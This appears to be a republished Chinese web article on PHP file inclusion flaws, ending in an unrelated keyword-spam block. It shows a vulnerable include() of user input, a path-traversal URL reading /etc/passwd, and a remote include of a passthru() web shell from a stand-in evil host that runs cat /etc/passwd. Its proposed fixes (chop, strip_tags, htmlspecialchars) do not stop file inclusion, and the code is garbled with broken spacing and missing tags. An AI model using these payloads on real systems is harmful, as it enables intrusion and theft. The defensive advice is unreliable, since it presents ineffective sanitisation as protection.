千家信息网

文件包含漏洞防护以及常见文件读取payload的示例分析

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,这篇文章主要介绍文件包含漏洞防护以及常见文件读取payload的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!仅供参考学习使用一、安全示例现在请看下面的代码 Files
千家信息网最后更新 2025年01月20日文件包含漏洞防护以及常见文件读取payload的示例分析

这篇文章主要介绍文件包含漏洞防护以及常见文件读取payload的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

仅供参考学习使用

一、安全示例

现在请看下面的代码

Files
$page = $ _GET [page];
include ($ page);
?>

这里显然不应该使用它。$page变量并未完全清除。 $page输入直接定向到网页,这是一个很大错误。这里删除通过浏览器传递的所有输入。当用户在访问网页时单击"文件"访问到" files.php"时,将出现下面的内容。

http://localhost/index.php?page=files.php

现在,如果没有一个清理输入中变量$page,我们可以利用它执行我们的命令。如果主机在Unix/Linux服务器,我们可以读取用户密码,如下面的url所示。

http://localhost/index.php?page=.. /../../../../../etc/passwd

上面的url会返回/etc/passwd

Files
$ page = $ _GET [page];
include ($ page);
?>

现在假设我们输入的url如下

http://localhost/index.php?page=http://google.com/

可能是$ page变量最初放置在页面上的位置,我们得到了google.com主页。我们都知道c99(shell)可以做什么,并且如果编码人员注意的话,它们可能会包含在页面中,从而允许用户在浏览敏感文件。让我们看一下网页上可能发生的一些更简单的事情。现在,我们创建一个名为" test.php"的文件,并将以下代码放入其中,然后保存。

passthru ($ _ GET [cmd]);
?>

我们可以利用此文件来利用它, PHP中的passthru()函数是非常危险的。使用test.php中的这段代码,我们可以向网页发送请求,包括文件包含漏洞。如以下url所示

http://localhost/index.php?page=http: //someevilhost.com/test.php

当代码使用$_GET请求,我们必须提供一个参数传递给passthru(). 我们可以在url中这样输入。

http://localhost/index.php?page=http://someevilhost.com/test.php?cmd=cat /etc/passwd

这unix机器也将提取的文件/etc/passwd使用的cat的命令。现在我们需要知道如何控制它,使任何人都不可能执行命令,和如何包括远程执行你的服务器命令。 我们可以禁止passthru()函数。正如前文所述我们可以清除输入。我们这里可以在函数中使用一些PHP建议的结构。最初,perl的chop()函数适应了PHP,该PHP从数组中删除了空格。我们可以这样使用它。

Files
$ page = chop ($ _ GET [page]);
include ($ page);
?>

php中有许多函数可以清除字符串,如htmlspecialchars()htmlentities(),stripslashes()等。我们可以在PHP中执行一个可以为所有内容的函数。如下面代码所示

function cleanAll ($ input) {
$ input = strip_tags ($ input);
$ input = htmlspecialchars ($ input);
return ($ input);
}
?>

这里还可以使用str_replace()函数,并且还有很多其他函数可以清除它们。

以上是"文件包含漏洞防护以及常见文件读取payload的示例分析"这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注行业资讯频道!

文件 函数 输入 代码 内容 命令 网页 面的 漏洞 示例 变量 用户 常见 分析 防护 服务器 篇文章 页面 服务 浏览 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 技术法规数据库 张舟怡帆网络技术公司面试条件 深圳市享多多网络技术有限公司 鹤壁市人民检察院网络安全微课堂 中山市凯源网络技术有限公司 网络安全要学计算机网络吗 大话西游老是和服务器连接中断 db2数据库如何查序列结构 网络安全防护方案评估多少钱 惠州网络安全宣传视频 简述无线网络技术的优势 宁波app软件开发企业 烹饪兴趣软件开发班申请书 网络安全渗透测试证书 数据库运维实习报告 网络安全加固是干什么的 网络安全为人民知识竞赛 临沂惠鑫网络技术 学软件测试好还是软件开发好 csgo邪神服务器名称 软件开发流程视频 会软件开发能从事什么工作 所学专业中有用到数据库的有 神农架靠谱的软件开发方案 域成员通过哪个端口注册域服务器 金融科技岗和互联网 如何让数据库分区不被占用 龙腾网络技术服务有限公司 数据库只查指定字段 软件开发过程中应遵循的原则
0